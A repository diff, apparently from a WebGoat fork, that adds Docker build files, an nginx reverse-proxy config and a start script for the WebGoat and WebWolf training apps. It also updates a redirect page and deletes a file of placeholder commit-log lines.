@ -0,0 +1,9 @@
|
||||
# Docker all-in-one image
|
||||
|
||||
## Docker build
|
||||
|
||||
docker build --no-cache --build-arg webgoat_version=v8.2.0-SNAPSHOT -t webgoat/goatandwolf:latest .
|
||||
|
||||
## Docker run
|
||||
|
||||
docker run -d -p 80:8888 -p 8080:8080 -p 9090:9090 -e TZ=Europe/Amsterdam webgoat/goatandwolf:latest
|
43
docker/index.html
Normal file
43
docker/index.html
Normal file
@ -0,0 +1,43 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<body>
|
||||
<h1>OWASP WebGoat Training tools</h1>
|
||||
<p>
|
||||
Use the following links to access the WebGoat and WebWolf applications.
|
||||
Register a user using WebGoat. The same user can access WebWolf.
|
||||
</p>
|
||||
|
||||
<h2>Use without special host name entries</h2>
|
||||
|
||||
<table>
|
||||
<tr>
|
||||
<td>WebGoat URL</td>
|
||||
<td><a href="http://127.0.0.1:8080/WebGoat" target="_blank">http://127.0.0.1:8080/WebGoat</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>WebWolf URL</td>
|
||||
<td><a href="http://127.0.0.1:9090/WebWolf" target="_blank">http://127.0.0.1:9090/WebWolf</a></td>
|
||||
</tr>
|
||||
<table>
|
||||
|
||||
<h2>Use with www.webgoat.local and www.webwolf.local</h2>
|
||||
<p>
|
||||
Add the following entries to your local <b><i>hosts</i></b> file on Windows (c:\Windows\System32\drivers\etc\hosts) or Linux (/etc/hosts)
|
||||
|
||||
<pre>
|
||||
127.0.0.1 www.webgoat.local www.webwolf.local
|
||||
</pre>
|
||||
Then use the following URL's:
|
||||
</p>
|
||||
<table>
|
||||
<tr>
|
||||
<td>WebGoat URL</td>
|
||||
<td><a href="http://www.webgoat.local/WebGoat" target="_blank">http://www.webgoat.local/WebGoat</a></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td>WebWolf URL</td>
|
||||
<td><a href="http://www.webwolf.local/WebWolf" target="_blank">http://www.webwolf.local/WebWolf</a></td>
|
||||
</tr>
|
||||
<table>
|
||||
</body>
|
||||
</html>
|
140
docker/nginx.conf
Normal file
140
docker/nginx.conf
Normal file
@ -0,0 +1,140 @@
|
||||
error_log /tmp/error.log;
|
||||
pid /tmp/nginx.pid;
|
||||
|
||||
worker_processes 1;
|
||||
|
||||
events { worker_connections 1024; }
|
||||
|
||||
http {
|
||||
|
||||
client_body_temp_path /tmp/client_body;
|
||||
fastcgi_temp_path /tmp/fastcgi_temp;
|
||||
proxy_temp_path /tmp/proxy_temp;
|
||||
scgi_temp_path /tmp/scgi_temp;
|
||||
uwsgi_temp_path /tmp/uwsgi_temp;
|
||||
|
||||
sendfile on;
|
||||
|
||||
upstream docker-webgoat {
|
||||
server 127.0.0.1:8080;
|
||||
}
|
||||
|
||||
upstream docker-webwolf {
|
||||
server 127.0.0.1:9090;
|
||||
}
|
||||
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Host $server_name;
|
||||
|
||||
server {
|
||||
listen 8888;
|
||||
server_name www.webgoat.local;
|
||||
|
||||
root /var/www;
|
||||
|
||||
access_log /tmp/goataccess.log;
|
||||
error_log /tmp/goaterror.log;
|
||||
|
||||
location ~* \.(png|jpg|jpeg|gif|ico|woff|otf|ttf|mvc|svg|txt|pdf|docx?|xlsx?)$ {
|
||||
access_log off;
|
||||
proxy_pass http://docker-webgoat;
|
||||
proxy_redirect off;
|
||||
}
|
||||
|
||||
location / {
|
||||
root /usr/share/nginx/html;
|
||||
index index.html;
|
||||
add_header Cache-Control no-cache;
|
||||
expires 0;
|
||||
}
|
||||
|
||||
location /WebGoat {
|
||||
proxy_pass http://docker-webgoat;
|
||||
proxy_redirect off;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
server {
|
||||
listen 8888;
|
||||
server_name www.webwolf.local;
|
||||
|
||||
root /var/www;
|
||||
|
||||
access_log /tmp/wolfaccess.log;
|
||||
error_log /tmp/wolferror.log;
|
||||
|
||||
location /WebGoat/PasswordReset/ForgotPassword/create-password-reset-link {
|
||||
proxy_pass http://docker-webgoat;
|
||||
proxy_redirect off;
|
||||
}
|
||||
|
||||
location /PasswordReset/reset/reset-password {
|
||||
proxy_pass http://docker-webwolf;
|
||||
proxy_redirect off;
|
||||
}
|
||||
|
||||
location /files {
|
||||
proxy_pass http://docker-webwolf;
|
||||
proxy_redirect off;
|
||||
}
|
||||
|
||||
location /tmpdir {
|
||||
proxy_pass http://docker-webwolf;
|
||||
proxy_redirect off;
|
||||
}
|
||||
|
||||
location /webjars {
|
||||
proxy_pass http://docker-webwolf;
|
||||
proxy_redirect off;
|
||||
}
|
||||
|
||||
location /css {
|
||||
proxy_pass http://docker-webwolf;
|
||||
proxy_redirect off;
|
||||
}
|
||||
|
||||
location /login {
|
||||
proxy_pass http://docker-webwolf;
|
||||
proxy_redirect off;
|
||||
}
|
||||
|
||||
location /images {
|
||||
proxy_pass http://docker-webwolf;
|
||||
proxy_redirect off;
|
||||
}
|
||||
|
||||
location /mail {
|
||||
proxy_pass http://docker-webwolf;
|
||||
proxy_redirect off;
|
||||
}
|
||||
|
||||
location /upload {
|
||||
proxy_pass http://docker-webwolf;
|
||||
proxy_redirect off;
|
||||
}
|
||||
|
||||
location /js {
|
||||
proxy_pass http://docker-webwolf;
|
||||
proxy_redirect off;
|
||||
}
|
||||
|
||||
location /landing {
|
||||
proxy_pass http://docker-webwolf;
|
||||
proxy_redirect off;
|
||||
}
|
||||
|
||||
location /logout {
|
||||
proxy_pass http://docker-webwolf;
|
||||
proxy_redirect off;
|
||||
}
|
||||
|
||||
location /WebWolf {
|
||||
proxy_pass http://docker-webwolf;
|
||||
proxy_redirect off;
|
||||
}
|
||||
|
||||
}
|
||||
}
|
40
docker/pom.xml
Normal file
40
docker/pom.xml
Normal file
@ -0,0 +1,40 @@
|
||||
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
<artifactId>webgoat-all-in-one-docker</artifactId>
|
||||
<packaging>jar</packaging>
|
||||
<parent>
|
||||
<groupId>org.owasp.webgoat</groupId>
|
||||
<artifactId>webgoat-parent</artifactId>
|
||||
<version>${revision}</version>
|
||||
</parent>
|
||||
|
||||
<dependencies>
|
||||
|
||||
</dependencies>
|
||||
|
||||
<build>
|
||||
<plugins>
|
||||
<plugin>
|
||||
<groupId>org.apache.maven.plugins</groupId>
|
||||
<artifactId>maven-antrun-plugin</artifactId>
|
||||
<version>1.8</version>
|
||||
<executions>
|
||||
<execution>
|
||||
<phase>install</phase>
|
||||
<configuration>
|
||||
<target>
|
||||
<copy file="../webgoat-server/target/webgoat-server-${project.version}.jar" tofile="webgoat-server-${project.version}.jar"/>
|
||||
<copy file="../webwolf/target/webwolf-${project.version}.jar" tofile="webwolf-${project.version}.jar"/>
|
||||
</target>
|
||||
</configuration>
|
||||
<goals>
|
||||
<goal>run</goal>
|
||||
</goals>
|
||||
</execution>
|
||||
</executions>
|
||||
</plugin>
|
||||
</plugins>
|
||||
</build>
|
||||
|
||||
</project>
|
12
docker/start.sh
Normal file
12
docker/start.sh
Normal file
@ -0,0 +1,12 @@
|
||||
#!/bin/bash
|
||||
|
||||
cd /home/webgoat
|
||||
service nginx start
|
||||
sleep 1
|
||||
java -Duser.home=/home/webgoat -Dfile.encoding=UTF-8 -jar webgoat.jar --webgoat.build.version=$1 --server.address=0.0.0.0 > webgoat.log &
|
||||
|
||||
sleep 10
|
||||
|
||||
java -Duser.home=/home/webgoat -Dfile.encoding=UTF-8 -jar webwolf.jar --webgoat.build.version=$1 --server.address=0.0.0.0 > webwolf.log &
|
||||
|
||||
tail -300f webgoat.log
|
@ -1,3 +1,5 @@
|
||||
# WebGoat landing page
|
||||
|
||||
Old GitHub page which now redirects to OWASP website.
|
||||
Old Github page which now redirects to OWASP website.
|
||||
|
||||
|
||||
|
Binary file not shown.
Before Width: | Height: | Size: 319 KiB |
@ -3,12 +3,12 @@
|
||||
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="refresh" content="0;url=https://webgoat.org" />
|
||||
<link rel="canonical" href="https://webgoat.org" />
|
||||
<meta http-equiv="refresh" content="0;url=https://owasp.org/www-project-webgoat/" />
|
||||
<link rel="canonical" href="https://owasp.org/www-project-webgoat/" />
|
||||
</head>
|
||||
<body>
|
||||
<h1>
|
||||
The page been moved to <a href="https://webgoat.org">https://webgoat.org</a>
|
||||
The page been moved to <a href="https://owasp.org/www-project-webgoat/">https://owasp.org/www-project-webgoat/</a>
|
||||
</h1>
|
||||
</body>
|
||||
</html>
|
||||
</html>
|
@ -1,751 +0,0 @@
|
||||
Sat May 10 12:27:40 UTC 2025: Commit 1 by Author One
|
||||
Sat May 10 12:28:00 UTC 2025: Commit 2 by Author Two
|
||||
Sat May 10 16:00:41 UTC 2025: Commit 1 by Author One
|
||||
Sat May 10 16:02:46 UTC 2025: Commit 2 by Author Two
|
||||
Sat May 10 16:04:50 UTC 2025: Commit 3 by Author Three
|
||||
Sat May 10 16:06:55 UTC 2025: Commit 4 by Author Four
|
||||
Sat May 10 16:08:59 UTC 2025: Commit 5 by Author Five
|
||||
Sat May 10 16:11:03 UTC 2025: Commit 6 by Author Six
|
||||
Sat May 10 16:13:08 UTC 2025: Commit 7 by Author Seven
|
||||
Sat May 10 16:15:12 UTC 2025: Commit 8 by Author Eight
|
||||
Sat May 10 16:17:17 UTC 2025: Commit 9 by Author Nine
|
||||
Sat May 10 16:19:21 UTC 2025: Commit 10 by Author Ten
|
||||
Sat May 10 16:21:26 UTC 2025: Commit 11 by DWSAuthor One
|
||||
Sat May 10 16:23:30 UTC 2025: Commit 12 by DWSAuthor Two
|
||||
Sat May 10 16:45:47 UTC 2025: Commit 1 by Author One
|
||||
Sat May 10 16:48:41 UTC 2025: Commit 1 by Author One
|
||||
Sat May 10 16:51:41 UTC 2025: Commit 1 by Author One
|
||||
Sat May 10 16:54:41 UTC 2025: Commit 1 by Author One
|
||||
Sat May 10 18:00:41 UTC 2025: Commit 1 by Author
|
||||
Sat May 10 18:03:27 UTC 2025: Commit 2 by Seven
|
||||
Sat May 10 18:06:14 UTC 2025: Commit 3 by <author7@example.com>
|
||||
Sat May 10 18:09:01 UTC 2025: Commit 4 by DWSAuthor
|
||||
Sat May 10 18:11:47 UTC 2025: Commit 5 by Four
|
||||
Sat May 10 18:14:34 UTC 2025: Commit 6 by <autdwshor4@example.com>
|
||||
Sat May 10 18:17:21 UTC 2025: Commit 7 by DWSAuthor
|
||||
Sat May 10 18:20:07 UTC 2025: Commit 8 by Seven
|
||||
Sat May 10 18:22:54 UTC 2025: Commit 9 by <adwsuthor7@example.com>
|
||||
Sat May 10 18:25:41 UTC 2025: Commit 10 by DWSAuthor
|
||||
Sat May 10 18:28:27 UTC 2025: Commit 11 by Six
|
||||
Sat May 10 18:31:14 UTC 2025: Commit 12 by <autdwshor6@example.com>
|
||||
Sat May 10 21:00:41 UTC 2025: Commit 1 by DWSAuthor
|
||||
Sat May 10 21:03:28 UTC 2025: Commit 2 by Seven
|
||||
Sat May 10 21:06:15 UTC 2025: Commit 3 by <adwsuthor7@example.com>
|
||||
Sat May 10 21:09:02 UTC 2025: Commit 4 by Author
|
||||
Sat May 10 21:11:48 UTC 2025: Commit 5 by One
|
||||
Sat May 10 21:14:35 UTC 2025: Commit 6 by <author1@example.com>
|
||||
Sat May 10 21:17:22 UTC 2025: Commit 7 by Author
|
||||
Sat May 10 21:20:08 UTC 2025: Commit 8 by Three
|
||||
Sat May 10 21:22:55 UTC 2025: Commit 9 by <author3@example.com>
|
||||
Sat May 10 21:25:42 UTC 2025: Commit 10 by DWSAuthor
|
||||
Sat May 10 21:28:28 UTC 2025: Commit 11 by Eight
|
||||
Sat May 10 21:31:15 UTC 2025: Commit 12 by <adwsuthor8@example.com>
|
||||
Sun May 11 00:00:41 UTC 2025: Commit 1 by Author
|
||||
Sun May 11 00:03:27 UTC 2025: Commit 2 by Eight
|
||||
Sun May 11 00:06:14 UTC 2025: Commit 3 by <author8@example.com>
|
||||
Sun May 11 00:09:01 UTC 2025: Commit 4 by Author
|
||||
Sun May 11 00:11:47 UTC 2025: Commit 5 by Four
|
||||
Sun May 11 00:14:34 UTC 2025: Commit 6 by <author4@example.com>
|
||||
Sun May 11 00:17:21 UTC 2025: Commit 7 by DWSAuthor
|
||||
Sun May 11 00:20:07 UTC 2025: Commit 8 by Eight
|
||||
Sun May 11 00:22:54 UTC 2025: Commit 9 by <adwsuthor8@example.com>
|
||||
Sun May 11 00:25:40 UTC 2025: Commit 10 by DWSAuthor
|
||||
Sun May 11 00:28:27 UTC 2025: Commit 11 by Ten
|
||||
Sun May 11 00:31:14 UTC 2025: Commit 12 by <autdwshor10@example.com>
|
||||
Sun May 11 03:00:42 UTC 2025: Commit 1 by DWSAuthor
|
||||
Sun May 11 03:03:29 UTC 2025: Commit 2 by Eight
|
||||
Sun May 11 03:06:16 UTC 2025: Commit 3 by <adwsuthor8@example.com>
|
||||
Sun May 11 03:09:02 UTC 2025: Commit 4 by DWSAuthor
|
||||
Sun May 11 03:11:49 UTC 2025: Commit 5 by One
|
||||
Sun May 11 03:14:36 UTC 2025: Commit 6 by <dwsauthor1@example.com>
|
||||
Sun May 11 03:17:22 UTC 2025: Commit 7 by DWSAuthor
|
||||
Sun May 11 03:20:09 UTC 2025: Commit 8 by Six
|
||||
Sun May 11 03:22:55 UTC 2025: Commit 9 by <autdwshor6@example.com>
|
||||
Sun May 11 03:25:42 UTC 2025: Commit 10 by Author
|
||||
Sun May 11 03:28:29 UTC 2025: Commit 11 by Six
|
||||
Sun May 11 03:31:15 UTC 2025: Commit 12 by <author6@example.com>
|
||||
Sun May 11 06:00:42 UTC 2025: Commit 1 by DWSAuthor
|
||||
Sun May 11 06:03:29 UTC 2025: Commit 2 by One
|
||||
Sun May 11 06:06:16 UTC 2025: Commit 3 by <dwsauthor1@example.com>
|
||||
Sun May 11 06:09:02 UTC 2025: Commit 4 by DWSAuthor
|
||||
Sun May 11 06:11:49 UTC 2025: Commit 5 by Ten
|
||||
Sun May 11 06:14:36 UTC 2025: Commit 6 by <autdwshor10@example.com>
|
||||
Sun May 11 06:17:22 UTC 2025: Commit 7 by DWSAuthor
|
||||
Sun May 11 06:20:09 UTC 2025: Commit 8 by Five
|
||||
Sun May 11 06:22:56 UTC 2025: Commit 9 by <autdwshor5@example.com>
|
||||
Sun May 11 06:25:42 UTC 2025: Commit 10 by DWSAuthor
|
||||
Sun May 11 06:28:29 UTC 2025: Commit 11 by Six
|
||||
Sun May 11 06:31:16 UTC 2025: Commit 12 by <autdwshor6@example.com>
|
||||
Sun May 11 09:00:42 UTC 2025: Commit 1 by DWSAuthor
|
||||
Sun May 11 09:03:28 UTC 2025: Commit 2 by Eight
|
||||
Sun May 11 09:06:15 UTC 2025: Commit 3 by <adwsuthor8@example.com>
|
||||
Sun May 11 09:09:02 UTC 2025: Commit 4 by Author
|
||||
Sun May 11 09:11:49 UTC 2025: Commit 5 by One
|
||||
Sun May 11 09:14:35 UTC 2025: Commit 6 by <author1@example.com>
|
||||
Sun May 11 09:17:22 UTC 2025: Commit 7 by DWSAuthor
|
||||
Sun May 11 09:20:08 UTC 2025: Commit 8 by Four
|
||||
Sun May 11 09:22:55 UTC 2025: Commit 9 by <autdwshor4@example.com>
|
||||
Sun May 11 09:25:42 UTC 2025: Commit 10 by Author
|
||||
Sun May 11 09:28:28 UTC 2025: Commit 11 by Seven
|
||||
Sun May 11 09:31:15 UTC 2025: Commit 12 by <author7@example.com>
|
||||
Sun May 11 12:00:41 UTC 2025: Commit 1 by DWSAuthor
|
||||
Sun May 11 12:03:28 UTC 2025: Commit 2 by Four
|
||||
Sun May 11 12:06:15 UTC 2025: Commit 3 by <autdwshor4@example.com>
|
||||
Sun May 11 12:09:01 UTC 2025: Commit 4 by DWSAuthor
|
||||
Sun May 11 12:11:48 UTC 2025: Commit 5 by Three
|
||||
Sun May 11 12:14:35 UTC 2025: Commit 6 by <dwsauthor3@example.com>
|
||||
Sun May 11 12:17:21 UTC 2025: Commit 7 by Author
|
||||
Sun May 11 12:20:08 UTC 2025: Commit 8 by Seven
|
||||
Sun May 11 12:22:54 UTC 2025: Commit 9 by <author7@example.com>
|
||||
Sun May 11 12:25:41 UTC 2025: Commit 10 by DWSAuthor
|
||||
Sun May 11 12:28:28 UTC 2025: Commit 11 by One
|
||||
Sun May 11 12:31:14 UTC 2025: Commit 12 by <dwsauthor1@example.com>
|
||||
Sun May 11 15:00:41 UTC 2025: Commit 1 by DWSAuthor
|
||||
Sun May 11 15:03:28 UTC 2025: Commit 2 by Four
|
||||
Sun May 11 15:06:15 UTC 2025: Commit 3 by <autdwshor4@example.com>
|
||||
Sun May 11 15:09:01 UTC 2025: Commit 4 by Author
|
||||
Sun May 11 15:11:48 UTC 2025: Commit 5 by Nine
|
||||
Sun May 11 15:14:35 UTC 2025: Commit 6 by <author9@example.com>
|
||||
Sun May 11 15:17:21 UTC 2025: Commit 7 by DWSAuthor
|
||||
Sun May 11 15:20:08 UTC 2025: Commit 8 by Nine
|
||||
Sun May 11 15:22:55 UTC 2025: Commit 9 by <autdwshor9@example.com>
|
||||
Sun May 11 15:25:41 UTC 2025: Commit 10 by Author
|
||||
Sun May 11 15:28:28 UTC 2025: Commit 11 by One
|
||||
Sun May 11 15:31:15 UTC 2025: Commit 12 by <author1@example.com>
|
||||
Sun May 11 18:00:42 UTC 2025: Commit 1 by DWSAuthor
|
||||
Sun May 11 18:03:28 UTC 2025: Commit 2 by Four
|
||||
Sun May 11 18:06:15 UTC 2025: Commit 3 by <autdwshor4@example.com>
|
||||
Sun May 11 18:09:02 UTC 2025: Commit 4 by Author
|
||||
Sun May 11 18:11:48 UTC 2025: Commit 5 by Five
|
||||
Sun May 11 18:14:35 UTC 2025: Commit 6 by <author5@example.com>
|
||||
Sun May 11 18:17:22 UTC 2025: Commit 7 by DWSAuthor
|
||||
Sun May 11 18:20:08 UTC 2025: Commit 8 by Nine
|
||||
Sun May 11 18:22:55 UTC 2025: Commit 9 by <autdwshor9@example.com>
|
||||
Sun May 11 18:25:42 UTC 2025: Commit 10 by Author
|
||||
Sun May 11 18:28:28 UTC 2025: Commit 11 by Three
|
||||
Sun May 11 18:31:15 UTC 2025: Commit 12 by <author3@example.com>
|
||||
Sun May 11 21:00:41 UTC 2025: Commit 1 by Author
|
||||
Sun May 11 21:03:28 UTC 2025: Commit 2 by Eight
|
||||
Sun May 11 21:06:14 UTC 2025: Commit 3 by <author8@example.com>
|
||||
Sun May 11 21:09:01 UTC 2025: Commit 4 by Author
|
||||
Sun May 11 21:11:48 UTC 2025: Commit 5 by Two
|
||||
Sun May 11 21:14:34 UTC 2025: Commit 6 by <author2@example.com>
|
||||
Sun May 11 21:17:21 UTC 2025: Commit 7 by Author
|
||||
Sun May 11 21:20:08 UTC 2025: Commit 8 by Five
|
||||
Sun May 11 21:22:54 UTC 2025: Commit 9 by <author5@example.com>
|
||||
Sun May 11 21:25:41 UTC 2025: Commit 10 by DWSAuthor
|
||||
Sun May 11 21:28:28 UTC 2025: Commit 11 by Seven
|
||||
Sun May 11 21:31:14 UTC 2025: Commit 12 by <adwsuthor7@example.com>
|
||||
Mon May 12 00:00:42 UTC 2025: Commit 1 by Author
|
||||
Mon May 12 00:03:29 UTC 2025: Commit 2 by Seven
|
||||
Mon May 12 00:06:16 UTC 2025: Commit 3 by <author7@example.com>
|
||||
Mon May 12 00:09:03 UTC 2025: Commit 4 by DWSAuthor
|
||||
Mon May 12 00:11:49 UTC 2025: Commit 5 by Eight
|
||||
Mon May 12 00:14:36 UTC 2025: Commit 6 by <adwsuthor8@example.com>
|
||||
Mon May 12 00:17:22 UTC 2025: Commit 7 by DWSAuthor
|
||||
Mon May 12 00:20:09 UTC 2025: Commit 8 by Ten
|
||||
Mon May 12 00:22:56 UTC 2025: Commit 9 by <autdwshor10@example.com>
|
||||
Mon May 12 00:25:42 UTC 2025: Commit 10 by DWSAuthor
|
||||
Mon May 12 00:28:29 UTC 2025: Commit 11 by Seven
|
||||
Mon May 12 00:31:16 UTC 2025: Commit 12 by <adwsuthor7@example.com>
|
||||
Mon May 12 03:00:42 UTC 2025: Commit 1 by DWSAuthor
|
||||
Mon May 12 03:03:28 UTC 2025: Commit 2 by Nine
|
||||
Mon May 12 03:06:15 UTC 2025: Commit 3 by <autdwshor9@example.com>
|
||||
Mon May 12 03:09:02 UTC 2025: Commit 4 by Author
|
||||
Mon May 12 03:11:49 UTC 2025: Commit 5 by Nine
|
||||
Mon May 12 03:14:35 UTC 2025: Commit 6 by <author9@example.com>
|
||||
Mon May 12 03:17:22 UTC 2025: Commit 7 by Author
|
||||
Mon May 12 03:20:09 UTC 2025: Commit 8 by Two
|
||||
Mon May 12 03:22:55 UTC 2025: Commit 9 by <author2@example.com>
|
||||
Mon May 12 03:25:42 UTC 2025: Commit 10 by Author
|
||||
Mon May 12 03:28:29 UTC 2025: Commit 11 by One
|
||||
Mon May 12 03:31:15 UTC 2025: Commit 12 by <author1@example.com>
|
||||
Mon May 12 06:00:42 UTC 2025: Commit 1 by DWSAuthor
|
||||
Mon May 12 06:03:28 UTC 2025: Commit 2 by Two
|
||||
Mon May 12 06:06:15 UTC 2025: Commit 3 by <dwsauthor2@example.com>
|
||||
Mon May 12 06:09:02 UTC 2025: Commit 4 by DWSAuthor
|
||||
Mon May 12 06:11:48 UTC 2025: Commit 5 by Ten
|
||||
Mon May 12 06:14:35 UTC 2025: Commit 6 by <autdwshor10@example.com>
|
||||
Mon May 12 06:17:22 UTC 2025: Commit 7 by DWSAuthor
|
||||
Mon May 12 06:20:08 UTC 2025: Commit 8 by Five
|
||||
Mon May 12 06:22:55 UTC 2025: Commit 9 by <autdwshor5@example.com>
|
||||
Mon May 12 06:25:42 UTC 2025: Commit 10 by Author
|
||||
Mon May 12 06:28:28 UTC 2025: Commit 11 by One
|
||||
Mon May 12 06:31:15 UTC 2025: Commit 12 by <author1@example.com>
|
||||
Mon May 12 09:00:41 UTC 2025: Commit 1 by DWSAuthor
|
||||
Mon May 12 09:03:28 UTC 2025: Commit 2 by Two
|
||||
Mon May 12 09:06:15 UTC 2025: Commit 3 by <dwsauthor2@example.com>
|
||||
Mon May 12 09:09:01 UTC 2025: Commit 4 by Author
|
||||
Mon May 12 09:11:48 UTC 2025: Commit 5 by Three
|
||||
Mon May 12 09:14:35 UTC 2025: Commit 6 by <author3@example.com>
|
||||
Mon May 12 09:17:21 UTC 2025: Commit 7 by DWSAuthor
|
||||
Mon May 12 09:20:08 UTC 2025: Commit 8 by Six
|
||||
Mon May 12 09:22:55 UTC 2025: Commit 9 by <autdwshor6@example.com>
|
||||
Mon May 12 09:25:41 UTC 2025: Commit 10 by Author
|
||||
Mon May 12 09:28:28 UTC 2025: Commit 11 by One
|
||||
Mon May 12 09:31:14 UTC 2025: Commit 12 by <author1@example.com>
|
||||
Mon May 12 12:00:43 UTC 2025: Commit 1 by DWSAuthor
|
||||
Mon May 12 12:03:30 UTC 2025: Commit 2 by Eight
|
||||
Mon May 12 12:06:17 UTC 2025: Commit 3 by <adwsuthor8@example.com>
|
||||
Mon May 12 12:09:04 UTC 2025: Commit 4 by Author
|
||||
Mon May 12 12:11:50 UTC 2025: Commit 5 by Five
|
||||
Mon May 12 12:14:37 UTC 2025: Commit 6 by <author5@example.com>
|
||||
Mon May 12 12:17:23 UTC 2025: Commit 7 by DWSAuthor
|
||||
Mon May 12 12:20:10 UTC 2025: Commit 8 by Ten
|
||||
Mon May 12 12:22:57 UTC 2025: Commit 9 by <autdwshor10@example.com>
|
||||
Mon May 12 12:25:43 UTC 2025: Commit 10 by Author
|
||||
Mon May 12 12:28:30 UTC 2025: Commit 11 by Nine
|
||||
Mon May 12 12:31:17 UTC 2025: Commit 12 by <author9@example.com>
|
||||
Mon May 12 15:00:41 UTC 2025: Commit 1 by Author
|
||||
Mon May 12 15:03:28 UTC 2025: Commit 2 by Two
|
||||
Mon May 12 15:06:15 UTC 2025: Commit 3 by <author2@example.com>
|
||||
Mon May 12 15:09:01 UTC 2025: Commit 4 by Author
|
||||
Mon May 12 15:11:48 UTC 2025: Commit 5 by Eight
|
||||
Mon May 12 15:14:35 UTC 2025: Commit 6 by <author8@example.com>
|
||||
Mon May 12 15:17:21 UTC 2025: Commit 7 by DWSAuthor
|
||||
Mon May 12 15:20:08 UTC 2025: Commit 8 by Eight
|
||||
Mon May 12 15:22:55 UTC 2025: Commit 9 by <adwsuthor8@example.com>
|
||||
Mon May 12 15:25:41 UTC 2025: Commit 10 by DWSAuthor
|
||||
Mon May 12 15:28:28 UTC 2025: Commit 11 by Five
|
||||
Mon May 12 15:31:15 UTC 2025: Commit 12 by <autdwshor5@example.com>
|
||||
Mon May 12 18:00:41 UTC 2025: Commit 1 by Author
|
||||
Mon May 12 18:03:28 UTC 2025: Commit 2 by Eight
|
||||
Mon May 12 18:06:15 UTC 2025: Commit 3 by <author8@example.com>
|
||||
Mon May 12 18:09:01 UTC 2025: Commit 4 by Author
|
||||
Mon May 12 18:11:48 UTC 2025: Commit 5 by Nine
|
||||
Mon May 12 18:14:35 UTC 2025: Commit 6 by <author9@example.com>
|
||||
Mon May 12 18:17:21 UTC 2025: Commit 7 by DWSAuthor
|
||||
Mon May 12 18:20:08 UTC 2025: Commit 8 by Six
|
||||
Mon May 12 18:22:55 UTC 2025: Commit 9 by <autdwshor6@example.com>
|
||||
Mon May 12 18:25:41 UTC 2025: Commit 10 by DWSAuthor
|
||||
Mon May 12 18:28:28 UTC 2025: Commit 11 by Eight
|
||||
Mon May 12 18:31:14 UTC 2025: Commit 12 by <adwsuthor8@example.com>
|
||||
Mon May 12 21:00:43 UTC 2025: Commit 1 by Author
|
||||
Mon May 12 21:03:30 UTC 2025: Commit 2 by Ten
|
||||
Mon May 12 21:06:16 UTC 2025: Commit 3 by <author10@example.com>
|
||||
Mon May 12 21:09:03 UTC 2025: Commit 4 by DWSAuthor
|
||||
Mon May 12 21:11:50 UTC 2025: Commit 5 by Nine
|
||||
Mon May 12 21:14:36 UTC 2025: Commit 6 by <autdwshor9@example.com>
|
||||
Mon May 12 21:17:23 UTC 2025: Commit 7 by DWSAuthor
|
||||
Mon May 12 21:20:09 UTC 2025: Commit 8 by One
|
||||
Mon May 12 21:22:56 UTC 2025: Commit 9 by <dwsauthor1@example.com>
|
||||
Mon May 12 21:25:43 UTC 2025: Commit 10 by Author
|
||||
Mon May 12 21:28:29 UTC 2025: Commit 11 by Seven
|
||||
Mon May 12 21:31:16 UTC 2025: Commit 12 by <author7@example.com>
|
||||
Tue May 13 00:00:42 UTC 2025: Commit 1 by DWSAuthor
|
||||
Tue May 13 00:03:29 UTC 2025: Commit 2 by Six
|
||||
Tue May 13 00:06:15 UTC 2025: Commit 3 by <autdwshor6@example.com>
|
||||
Tue May 13 00:09:02 UTC 2025: Commit 4 by Author
|
||||
Tue May 13 00:11:48 UTC 2025: Commit 5 by Five
|
||||
Tue May 13 00:14:35 UTC 2025: Commit 6 by <author5@example.com>
|
||||
Tue May 13 00:17:22 UTC 2025: Commit 7 by Author
|
||||
Tue May 13 00:20:08 UTC 2025: Commit 8 by Ten
|
||||
Tue May 13 00:22:55 UTC 2025: Commit 9 by <author10@example.com>
|
||||
Tue May 13 00:25:42 UTC 2025: Commit 10 by DWSAuthor
|
||||
Tue May 13 00:28:28 UTC 2025: Commit 11 by One
|
||||
Tue May 13 00:31:15 UTC 2025: Commit 12 by <dwsauthor1@example.com>
|
||||
Tue May 13 03:00:43 UTC 2025: Commit 1 by DWSAuthor
|
||||
Tue May 13 03:03:30 UTC 2025: Commit 2 by Seven
|
||||
Tue May 13 03:06:17 UTC 2025: Commit 3 by <adwsuthor7@example.com>
|
||||
Tue May 13 03:09:03 UTC 2025: Commit 4 by Author
|
||||
Tue May 13 03:11:50 UTC 2025: Commit 5 by Two
|
||||
Tue May 13 03:14:37 UTC 2025: Commit 6 by <author2@example.com>
|
||||
Tue May 13 03:17:23 UTC 2025: Commit 7 by DWSAuthor
|
||||
Tue May 13 03:20:10 UTC 2025: Commit 8 by Ten
|
||||
Tue May 13 03:22:57 UTC 2025: Commit 9 by <autdwshor10@example.com>
|
||||
Tue May 13 03:25:44 UTC 2025: Commit 10 by DWSAuthor
|
||||
Tue May 13 03:28:30 UTC 2025: Commit 11 by Five
|
||||
Tue May 13 03:31:17 UTC 2025: Commit 12 by <autdwshor5@example.com>
|
||||
Tue May 13 06:00:42 UTC 2025: Commit 1 by DWSAuthor
|
||||
Tue May 13 06:03:29 UTC 2025: Commit 2 by Two
|
||||
Tue May 13 06:06:16 UTC 2025: Commit 3 by <dwsauthor2@example.com>
|
||||
Tue May 13 06:09:02 UTC 2025: Commit 4 by DWSAuthor
|
||||
Tue May 13 06:11:49 UTC 2025: Commit 5 by Four
|
||||
Tue May 13 06:14:36 UTC 2025: Commit 6 by <autdwshor4@example.com>
|
||||
Tue May 13 06:17:22 UTC 2025: Commit 7 by DWSAuthor
|
||||
Tue May 13 06:20:09 UTC 2025: Commit 8 by Five
|
||||
Tue May 13 06:22:56 UTC 2025: Commit 9 by <autdwshor5@example.com>
|
||||
Tue May 13 06:25:42 UTC 2025: Commit 10 by Author
|
||||
Tue May 13 06:28:29 UTC 2025: Commit 11 by Five
|
||||
